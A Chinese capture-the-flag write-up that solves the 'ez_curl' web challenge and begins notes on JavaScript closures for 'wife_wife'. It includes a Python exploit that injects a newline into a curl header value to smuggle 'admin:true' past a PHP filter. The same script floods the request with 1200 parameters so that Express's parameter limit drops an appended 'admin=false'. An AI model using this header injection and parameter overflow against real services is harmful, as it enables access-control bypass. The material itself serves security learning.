ez_curl

知识点:返回索引

  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
  • strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

考点:

1.express的parameterLimit默认为1000,即参数最大限制为1000,写脚本请求加上1000个参数就能成功把拼接的&admin=flase挤掉

2.这里根据RFC 7230(HTTP/1.1协议的定义)的规定,规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。因此,如果一个 field-name 的第一个字符是空格,那么这个 HTTP header 是非法的,应该被服务器或客户端忽略或拒绝,然而,Node.js 在处理这类情况时通常是宽容的。

3.当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据是一致的。

问题:挤掉&admin=false

1
2
3
4
5
6
7
8
9
$offset = stripos($headers[$i], ':');
从头开始不分大小写,在headers的第一个参数找到冒号,返回冒号所在的位置,若未找到,返回False
$key = substr($headers[$i], 0, $offset);
在Headers的第一个参数中截取从0到冒号的值赋给$key
$value = substr($headers[$i], $offset + 1);
在第一个参数中截取冒号到结尾的值赋给$value
{"headers": ["xx:xx\nadmin:true", "Content-Type:application/json"], "params": {"admin": "true", "x0": 0}
比如它的$key就是xx,$value就是xx,因为\n换行符的原因,admin:true可以被绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import json

url = 'http://61.147.171.105:49744/'
datas = {
'headers' : ['xx:xx\n admin:true','Content-Type: application/json'],
'params' : {'admin':'true'}
}

for i in range(1200): 垃圾字符
datas['params']['x'+str(i)] = i

data = json.dumps(datas)
print(data)
r = requests.post(url, data=data)
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
try hard1

js代码
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});

wife_wife

前置知识:

假设在函数内部新建了一个变量,函数执行完毕之后,函数内部这个独立作用域或(封闭的盒子)就会删除,此时这个新建变量也会被删除。

如何令这个封闭的盒子是不会删除?可以使用“闭包”的方法(闭包涉及函数作用域、内存回收机制、作用域继承)

闭包后,内部函数可以访问外部函数作用域的变量,而外部的函数不能直接获取到内部函数的作用域变量

js闭包理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var add = (function () {
var counter = 0;
return function () {return counter += 1;}
})();

// 奶奶的“记忆助手”
var 奶奶的记忆助手 = (function() {
// 初始时,奶奶还没有收集任何石头
var 奶奶已经收集的石头数量 = 0;

// 这是一个按钮,奶奶每次找到一块石头都会按这个按钮
return function() {
// 每按一次,奶奶已经收集的石头数量就加1
奶奶已经收集的石头数量 += 1;

// 然后告诉奶奶她现在有多少块石头

return 奶奶已经收集的石头数量;
};
})();